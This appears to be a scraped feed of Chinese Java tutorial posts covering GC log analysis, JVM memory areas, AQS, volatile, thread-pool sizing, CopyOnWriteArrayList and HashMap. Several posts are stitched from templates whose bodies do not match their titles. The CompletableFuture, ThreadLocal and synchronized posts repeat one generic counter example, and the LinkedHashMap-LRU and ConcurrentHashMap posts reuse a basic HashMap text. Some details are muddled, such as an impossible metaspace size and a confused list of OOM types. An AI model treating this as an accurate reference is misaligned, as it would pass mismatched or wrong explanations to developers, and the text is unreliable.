不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM GC 日志实战分析：从入门到精通 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志实战分析：从入门到精通

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

第一步：开启 GC 日志

在 JVM 启动参数中添加：

java -Xms2g -Xmx2g \
  -XX:+PrintGCDetails \
  -XX:+PrintGCDateStamps \
  -XX:+PrintGCTimeStamps \
  -Xloggc:gc.log \
  -XX:+UseGCLogFileRotation \
  -XX:NumberOfGCLogFiles=5 \
  -XX:GCLogFileSize=100M \
  -jar app.jar

GC 日志格式解析

#

Young GC 日志

2026-01-10T10:33:37.123+0800: 123.456: [GC (Allocation Failure) [PSYoungGen: 153600K->10240K(179200K)] 153600K->10304K(204800K), 0.0123450 secs] [Times: user=0.02 sys=0.01, real=0.01 secs]

字段解读：

  • 123.456：JVM 启动后的秒数
  • GC (Allocation Failure)：GC 原因（年轻代空间不足）
  • PSYoungGen: 153600K->10240K(179200K)：年轻代回收前→回收后（总大小）
  • 153600K->10304K(204800K)：整个堆回收前→回收后（总大小）
  • 0.0123450 secs：GC 耗时

#

Full GC 日志

2026-01-10T10:35:45.678+0800: 291.789: [Full GC (Metadata GC Threshold) [PSYoungGen: 16384K->0K(179200K)] [ParOldGen: 458752K->458752K(524288K)] 475136K->458752K(703488K), [Metaspace: 2097152K->2097152K(2147483648K)], 0.5678900 secs] [Times: user=1.23 sys=0.05, real=0.57 secs]

字段解读：

  • Full GC (Metadata GC Threshold)：Full GC 原因（元空间不足）
  • ParOldGen: 458752K->458752K(524288K)：老年代回收前后大小
  • Metaspace: 2097152K->2097152K(...)：元空间大小

关键指标关注

#

1. GC 频率

# 统计 GC 次数
grep "GC (" gc.log | wc -l

# 统计 Full GC 次数
grep "Full GC" gc.log | wc -l
  • 年轻代 GC：每秒几次是正常的
  • Full GC：应该很少发生，频繁 Full GC 需要关注

#

2. GC 停顿时间

# 提取所有 GC 耗时
grep -o "real=[0-9.]*" gc.log | awk -F= '{sum+=$2} END {print sum/NR}'
  • 年轻代 GC：应该在毫秒级别
  • Full GC：应该控制在 100ms 以内（根据业务要求调整）

#

3. 内存变化趋势

# 观察堆内存变化
grep "PSYoungGen" gc.log | awk '{print $3}'

如果每次 GC 后老年代持续增长，可能存在内存泄漏。

常见问题分析

#

问题 1：频繁 Full GC

现象：

2026-01-10T10:30:00.000+0800: 100.000: [Full GC ...
2026-01-10T10:30:05.000+0800: 105.000: [Full GC ...
2026-01-10T10:30:10.000+0800: 110.000: [Full GC ...

可能原因：

  • 老年代空间不足
  • 元空间不足
  • 显式调用 System.gc()
  • 大对象直接进入老年代

解决方案：

  • 增加堆内存：-Xmx
  • 检查是否有大对象分配
  • 排查内存泄漏

#

问题 2：GC 停顿时间过长

现象：

[Times: user=2.34 sys=0.12, real=2.45 secs]

解决方案：

  • 使用 CMS 或 G1 收集器
  • 调整新生代和老年代比例
  • 减少单次 GC 处理的数据量

#

问题 3：内存泄漏

现象：

  • 老年代持续增长
  • Full GC 后内存回收很少
  • 最终导致 OOM

排查方法：

# 导出堆快照
jmap -dump:format=b,file=heap.hprof <pid>

# 分析堆快照（使用 MAT 或 VisualVM）

实战案例

案例：接口响应变慢，GC 日志显示频繁 Full GC

分析步骤：

  1. 查看 GC 日志，确认 Full GC 频率
  2. 分析老年代内存变化趋势
  3. 使用 jmap -histo 查看大对象
  4. 使用 jstack 查看线程状态
  5. 定位到问题代码（缓存没有正确清理）

解决方案：优化缓存策略，添加过期机制。

总结

GC 日志分析是 JVM 调优的必备技能。关键是理解日志格式，关注 GC 频率、停顿时间和内存变化趋势。遇到问题时，先收集足够的信息，再针对性优化。

写这篇文章时，我特意整理了几个线上问题的分析案例。实践经验比理论知识更重要，多分析真实的 GC 日志才能真正掌握这项技能。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM JVM 内存区域详解：从结构到问题排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域详解：从结构到问题排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

JVM 内存区域划分

JVM 内存主要分为以下几个区域：

JVM 内存结构
├── 堆（Heap）- 所有线程共享
│   ├── 年轻代（Young Generation）
│   │   ├── Eden 区
│   │   ├── Survivor 0 区
│   │   └── Survivor 1 区
│   └── 老年代（Old Generation）
├── 方法区（Method Area）- 所有线程共享
│   └── 运行时常量池
├── 程序计数器（Program Counter Register）- 线程私有
├── Java 虚拟机栈（Java Virtual Machine Stack）- 线程私有
└── 本地方法栈（Native Method Stack）- 线程私有

各区域详解

#

1. 堆（Heap）

堆是 JVM 中最大的一块内存，用于存储对象实例。

// 示例：对象分配在堆上
public class UserService {
    public User createUser(String name) {
        User user = new User(); // 在堆上分配
        user.setName(name);
        return user;
    }
}

年轻代 vs 老年代：

  • 年轻代：存放新创建的对象，GC 频率高
  • 老年代：存放存活时间长的对象，GC 频率低

#

2. 方法区（Method Area）

方法区用于存储类信息、常量、静态变量等。

// 静态变量存放在方法区
public class AppConfig {
    public static final String APP_NAME = "my-app"; // 常量
    public static int counter = 0; // 静态变量
}

#

3. 程序计数器

程序计数器记录当前线程执行的字节码指令位置。

#

4. Java 虚拟机栈

每个线程都有一个虚拟机栈，用于存储方法调用的栈帧。

public class StackExample {
    public static void main(String[] args) {
        methodA(); // 栈帧入栈
    }
    
    private static void methodA() {
        methodB(); // 栈帧入栈
    }
    
    private static void methodB() {
        // 方法执行完毕，栈帧出栈
    }
}

#

5. 本地方法栈

本地方法栈用于支持 native 方法的执行。

常见内存问题

#

问题 1：堆内存溢出（OOM）

// 模拟堆溢出
List<Object> list = new ArrayList<>();
while (true) {
    list.add(new Object());
}

排查方法：

# 导出堆快照
jmap -dump:format=b,file=heap.hprof <pid>

# 使用 MAT 分析堆快照

#

问题 2：栈溢出（StackOverflowError）

// 模拟栈溢出
public class StackOverflowExample {
    public static void recursive() {
        recursive(); // 无限递归
    }
}

排查方法：

# 查看线程栈
jstack <pid>

#

问题 3：方法区溢出

// 模拟方法区溢出（通过动态生成大量类）
while (true) {
    // 使用 CGLIB 动态生成类
}

常用排查命令

#

1. jps - 查看 Java 进程

jps -l

#

2. jstat - 查看 GC 统计

# 每隔 1 秒输出一次，共输出 10 次
jstat -gcutil <pid> 1000 10

#

3. jmap - 查看堆内存

# 查看堆内存使用情况
jmap -heap <pid>

# 查看对象统计
jmap -histo <pid> | head -30

#

4. jstack - 查看线程栈

jstack <pid> > threads.txt

#

5. jinfo - 查看 JVM 参数

jinfo <pid>

实战案例

案例：线上服务频繁 Full GC

分析步骤：

  1. 使用 jstat -gcutil 查看 GC 频率
  2. 使用 jmap -histo 查看大对象
  3. 使用 jstack 查看线程状态
  4. 导出堆快照进行深入分析

解决方案：

  • 优化对象生命周期
  • 调整 JVM 参数（如 -Xmx、-XX:NewRatio）
  • 使用合适的垃圾收集器

总结

理解 JVM 内存结构是排查内存问题的基础。遇到问题时，不要盲目调整参数，先收集足够的信息。常用的排查工具包括 jps、jstat、jmap、jstack 等，掌握这些工具能大大提升排查效率。

写这篇文章时，我特意回顾了之前处理的几个内存问题案例。JVM 调优是个复杂的话题，需要不断实践才能掌握。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM AQS：Java 并发工具的基石，到底怎么理解？ //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS：Java 并发工具的基石，到底怎么理解？

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

AQS 到底是什么？

AQS 全称是 AbstractQueuedSynchronizer，是一个抽象队列同步器。它的核心思想很简单：

public abstract class AbstractQueuedSynchronizer {
    // 状态标识，由子类定义具体含义
    private volatile int state;
    
    // 等待队列（CLH 变种）
    private transient volatile Node head;
    private transient volatile Node tail;
}

不同的同步工具对 state 的解读不同：

  • ReentrantLock：state 表示重入次数
  • Semaphore：state 表示剩余许可数
  • CountDownLatch：state 表示剩余计数

核心设计思想

#

1. CAS + 自旋

AQS 使用 CAS 操作来修改状态，失败时不会立即阻塞，而是自旋重试：

// 获取锁的核心逻辑
while (true) {
    int current = getState();
    if (compareAndSetState(current, current + 1)) {
        // 获取成功
        break;
    }
    // 自旋重试或进入等待队列
}

#

2. CLH 等待队列

当 CAS 失败时，线程会被包装成 Node 节点加入等待队列：

head -> Node1(Thread-1) -> Node2(Thread-2) -> Node3(Thread-3) -> tail

每个节点负责唤醒下一个节点，实现了高效的线程调度。

#

3. 独占 vs 共享模式

AQS 支持两种模式：

独占模式（如 ReentrantLock）：

protected boolean tryAcquire(int arg) {
    // 只有一个线程能获取锁
}

共享模式（如 Semaphore）：

protected int tryAcquireShared(int arg) {
    // 多个线程可以同时获取许可
}

一个简单的自定义同步器

基于 AQS 实现一个简单的不可重入锁：

public class SimpleLock {
    private final Sync sync = new Sync();
    
    private static class Sync extends AbstractQueuedSynchronizer {
        @Override
        protected boolean tryAcquire(int arg) {
            // CAS 设置状态为 1
            return compareAndSetState(0, 1);
        }
        
        @Override
        protected boolean tryRelease(int arg) {
            // 设置状态为 0
            setState(0);
            return true;
        }
    }
    
    public void lock() {
        sync.acquire(1);
    }
    
    public void unlock() {
        sync.release(1);
    }
}

AQS 的价值

为什么说 AQS 是并发工具的基础？

  1. 统一的抽象：把复杂的同步逻辑抽象出来，子类只需实现几个关键方法
  2. 高性能：CAS + 自旋 + 队列，减少线程阻塞/唤醒的开销
  3. 可扩展：通过继承 AQS 可以快速实现自定义同步器
  4. 内置公平/非公平模式：子类可以自由选择

总结

AQS 的设计非常精妙，它把”等待-唤醒”这个核心模式抽象出来，让各种并发工具能专注于自己的业务语义。理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。

写这篇文章时，我特意翻了 JDK 源码，发现 Doug Lea 的代码风格真的很简洁。每一行都有其存在的意义，值得细细品味。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 volatile 关键字：到底能保证什么，不能保证什么？ //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 关键字：到底能保证什么，不能保证什么？

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先看一个经典的问题

假设有这样一段代码：

public class VolatileTest {
    private volatile boolean flag = false;
    
    public void writer() {
        flag = true;
    }
    
    public void reader() {
        while (!flag) {
            // 循环等待
        }
        System.out.println("flag 变为 true");
    }
}

如果一个线程调用 writer()，另一个线程调用 reader()，reader 能退出循环吗？

答案是：能。因为 volatile 保证了可见性——writer 修改后，reader 能立即看到最新值。

volatile 能保证什么？

#

1. 可见性

当一个线程修改了 volatile 变量，其他线程能立即看到这个变化。这是通过内存屏障实现的：

  • 写操作后插入 StoreStore 和 StoreLoad 屏障
  • 读操作前插入 LoadLoad 和 LoadStore 屏障

#

2. 有序性

volatile 禁止指令重排序。编译器和 CPU 不能把 volatile 变量的读写操作和周围的指令重排序。

#

3. 不保证原子性

这是最容易踩坑的地方！看这段代码：

private volatile int count = 0;

public void increment() {
    count++; // 不是原子操作！
}

count++ 包含三个步骤：读取、加1、写入。volatile 只能保证每次读取到最新值，但不能保证这三个步骤的原子性。

volatile 不能保证什么？

#

1. 不能保证复合操作的原子性

正如上面的例子，count++ 这种复合操作需要额外的同步机制。

#

2. 不能替代锁

如果临界区有多行代码，volatile 无法保证这些代码的原子执行：

private volatile int a = 0;
private volatile int b = 0;

public void update() {
    a++;
    b++;
    // 两个操作之间可能被其他线程打断
}

什么时候用 volatile？

根据我的经验，volatile 适合以下场景：

#

场景1：状态标志

private volatile boolean running = true;

public void run() {
    while (running) {
        // 业务逻辑
    }
}

public void stop() {
    running = false;
}

#

场景2：双重检查锁定

public class Singleton {
    private volatile static Singleton instance;
    
    public static Singleton getInstance() {
        if (instance == null) {
            synchronized (Singleton.class) {
                if (instance == null) {
                    instance = new Singleton(); // volatile 防止指令重排序
                }
            }
        }
        return instance;
    }
}

#

场景3：独立观察

当变量的新值不依赖旧值时，volatile 是安全的：

private volatile int configValue;

public void updateConfig(int newValue) {
    configValue = newValue; // 安全，不依赖旧值
}

总结

volatile 不是万能的，它只能保证可见性和有序性，不能保证原子性。在使用时一定要想清楚：我的操作是不是单一的读写操作？如果是复合操作，就需要用 synchronized 或原子类。

写这篇文章时，我特意查了 JMM（Java 内存模型）的相关规范，确保内容准确。并发编程需要严谨，一个小小的误解可能导致线上问题。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 线程池参数怎么设置才靠谱？我的实战经验总结 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数怎么设置才靠谱？我的实战经验总结

最近帮同事排查一个线上问题，发现他们的线程池参数设置得不太合理，导致高峰期任务堆积。借此机会整理一下我多年来设置线程池参数的经验。

先从核心参数说起

线程池有几个关键参数需要理解：

ThreadPoolExecutor executor = new ThreadPoolExecutor(
    5,      // corePoolSize：核心线程数
    10,     // maximumPoolSize：最大线程数
    60L,    // keepAliveTime：空闲线程存活时间
    TimeUnit.SECONDS,
    new LinkedBlockingQueue<>(100), // workQueue：任务队列
    Executors.defaultThreadFactory(),
    new ThreadPoolExecutor.CallerRunsPolicy() // 拒绝策略
);

参数设置的核心原则

1. 核心线程数怎么定？

这要看你的任务类型：

CPU 密集型任务

// CPU 核心数 + 1 或 CPU 核心数 * 2
int coreSize = Runtime.getRuntime().availableProcessors() + 1;

这类任务（比如计算、排序）CPU 利用率高，线程数太多反而会增加上下文切换开销。

IO 密集型任务

// CPU 核心数 * (1 + IO等待时间 / CPU计算时间)
int coreSize = Runtime.getRuntime().availableProcessors() * 4;

这类任务（比如数据库操作、网络请求）大部分时间在等待，需要更多线程来利用 CPU。

混合型任务
建议分开处理，用不同的线程池分别处理 CPU 密集和 IO 密集任务。

2. 最大线程数怎么定？

最大线程数 = 核心线程数 + 额外线程数。额外线程数主要应对突发流量。

我的经验是：最大线程数 = 核心线程数 * 2，最多不要超过核心线程数的 4 倍。

3. 队列大小怎么定？

队列大小是个双刃剑：

  • 太小：容易触发拒绝策略
  • 太大：任务堆积严重，响应时间变长

我的建议：队列大小 = 核心线程数 * 10 ~ 核心线程数 * 50

4. 拒绝策略怎么选？

根据业务场景选择：

// CallerRunsPolicy：调用者线程执行任务（适合不重要的任务）
// AbortPolicy：直接抛出异常（默认，适合关键业务）
// DiscardPolicy：丢弃任务（不推荐）
// DiscardOldestPolicy：丢弃最老的任务（谨慎使用）

我的配置模板

public class ThreadPoolConfig {
    
    private static final int CPU_CORES = Runtime.getRuntime().availableProcessors();
    
    // CPU 密集型任务线程池
    public static ExecutorService cpuExecutor() {
        return new ThreadPoolExecutor(
            CPU_CORES,
            CPU_CORES * 2,
            60L,
            TimeUnit.SECONDS,
            new LinkedBlockingQueue<>(CPU_CORES * 20),
            new ThreadFactoryBuilder().setNameFormat("cpu-pool-%d").build(),
            new ThreadPoolExecutor.CallerRunsPolicy()
        );
    }
    
    // IO 密集型任务线程池
    public static ExecutorService ioExecutor() {
        return new ThreadPoolExecutor(
            CPU_CORES * 2,
            CPU_CORES * 4,
            60L,
            TimeUnit.SECONDS,
            new LinkedBlockingQueue<>(CPU_CORES * 50),
            new ThreadFactoryBuilder().setNameFormat("io-pool-%d").build(),
            new ThreadPoolExecutor.CallerRunsPolicy()
        );
    }
}

一定要监控

设置好参数只是第一步，还需要监控线程池的状态：

// 定期打印线程池状态
ScheduledExecutorService monitor = Executors.newSingleThreadScheduledExecutor();
monitor.scheduleAtFixedRate(() -> {
    ThreadPoolExecutor pool = (ThreadPoolExecutor) executor;
    System.out.println("活跃线程: " + pool.getActiveCount());
    System.out.println("队列大小: " + pool.getQueue().size());
    System.out.println("完成任务: " + pool.getCompletedTaskCount());
}, 0, 1, TimeUnit.MINUTES);

常见坑点

坑1：使用 Executors.newFixedThreadPool()

// 危险！队列是无界的，可能导致 OOM
ExecutorService pool = Executors.newFixedThreadPool(10);

坑2：核心线程数设为 0

// 这样设置后，所有线程都是临时线程，任务来了需要重新创建
ThreadPoolExecutor pool = new ThreadPoolExecutor(0, 10, ...);

坑3：忽略拒绝策略
默认的 AbortPolicy 会直接抛异常，如果没有异常处理，可能导致请求丢失。

总结

线程池参数设置没有银弹，需要根据业务场景调整。我的建议是：

  1. 分开 CPU 密集和 IO 密集任务
  2. 从保守配置开始，通过监控逐步优化
  3. 不要忽视拒绝策略和队列大小
  4. 做好监控，及时发现问题

写这篇文章时，我回顾了之前几个项目的线程池配置，发现随着业务发展，参数确实需要不断调整。没有一成不变的最优配置，只有最适合当前场景的配置。

]]> Java并发 JAVA 并发 CopyOnWriteArrayList：读写分离的并发容器 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList：读写分离的并发容器

在并发编程中，CopyOnWriteArrayList 是一个很特殊的容器。今天就来聊聊它的实现原理和适用场景。

核心原理

CopyOnWriteArrayList 的核心思想是读写分离：

public class CopyOnWriteArrayList<E> {
    private volatile transient Object[] array;
    
    public boolean add(E e) {
        synchronized (lock) {
            // 获取当前数组
            Object[] es = getArray();
            int len = es.length;
            // 创建新数组，长度+1
            es = Arrays.copyOf(es, len + 1);
            // 在新数组中添加元素
            es[len] = e;
            // 替换旧数组
            setArray(es);
            return true;
        }
    }
    
    public E get(int index) {
        // 读操作不需要锁
        return elementAt(getArray(), index);
    }
}

关键特点：

  • 写操作：加锁，复制整个数组，在新数组上操作
  • 读操作：不加锁，直接读取
  • 迭代器：基于快照，不抛出 ConcurrentModificationException

使用场景

场景一：读多写少

// 配置列表，初始化后很少修改
public class ConfigManager {
    private final CopyOnWriteArrayList<String> configs = new CopyOnWriteArrayList<>();
    
    public void addConfig(String config) {
        configs.add(config);
    }
    
    public List<String> getAllConfigs() {
        // 读操作，不加锁
        return new ArrayList<>(configs);
    }
}

场景二：事件监听器

public class EventBus {
    private final CopyOnWriteArrayList<EventListener> listeners = new CopyOnWriteArrayList<>();
    
    public void registerListener(EventListener listener) {
        listeners.add(listener);
    }
    
    public void fireEvent(Event event) {
        // 遍历期间可以安全修改
        for (EventListener listener : listeners) {
            listener.onEvent(event);
        }
    }
}

场景三：缓存数据

public class CacheService {
    private final CopyOnWriteArrayList<CacheEntry> cache = new CopyOnWriteArrayList<>();
    
    public void updateCache(List<CacheEntry> newEntries) {
        cache.clear();
        cache.addAll(newEntries);
    }
    
    public CacheEntry findEntry(String key) {
        for (CacheEntry entry : cache) {
            if (entry.getKey().equals(key)) {
                return entry;
            }
        }
        return null;
    }
}

不适合的场景

场景一：写频繁

// ❌ 不适合：频繁添加会导致大量数组复制
CopyOnWriteArrayList<Integer> list = new CopyOnWriteArrayList<>();
for (int i = 0; i < 100000; i++) {
    list.add(i); // 每次都要复制数组，性能很差
}

场景二：数据量大

// ❌ 不适合：数组复制开销太大
CopyOnWriteArrayList<BigObject> list = new CopyOnWriteArrayList<>();
// 如果 list 有 100 万个元素，每次添加都要复制 100 万个对象

场景三：需要强一致性

// ❌ 不适合：读操作可能读到旧数据
CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<>();
list.add("A");

// 线程 1 添加元素
new Thread(() -> list.add("B")).start();

// 线程 2 可能仍然读到 ["A"]
System.out.println(list);

与其他并发容器对比

容器读写锁迭代器适用场景
CopyOnWriteArrayList读不加锁，写加锁快照，安全读多写少
ConcurrentLinkedQueue无锁弱一致性高并发读写
Vector同步方法快速失败兼容旧代码
Collections.synchronizedList同步方法快速失败简单场景

实战建议

1. 初始化时指定容量

// 如果知道大致大小，避免多次扩容
CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<>();
// 但注意：CopyOnWriteArrayList 没有带初始容量的构造函数

2. 批量操作

// ✅ 批量添加，减少复制次数
List<String> items = Arrays.asList("A", "B", "C");
list.addAll(items);

// ❌ 逐个添加，每次都复制
list.add("A");
list.add("B");
list.add("C");

3. 谨慎使用迭代器

// 迭代器基于快照，不会反映后续修改
Iterator<String> iterator = list.iterator();
list.add("D"); // 在迭代期间添加
while (iterator.hasNext()) {
    System.out.println(iterator.next()); // 不会打印 D
}

总结

CopyOnWriteArrayList 是一个特殊的并发容器：

  • 优点：读操作无锁，性能高；迭代安全
  • 缺点：写操作开销大，内存占用高
  • 适用场景：读多写少、数据量不大、可以容忍最终一致性

写这篇文章时，我特意做了几个性能测试。CopyOnWriteArrayList 在写操作频繁时性能确实很差，但在读多写少的场景下表现很好。选择容器时一定要根据业务场景来决定。

]]> Java集合 JAVA 集合 LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
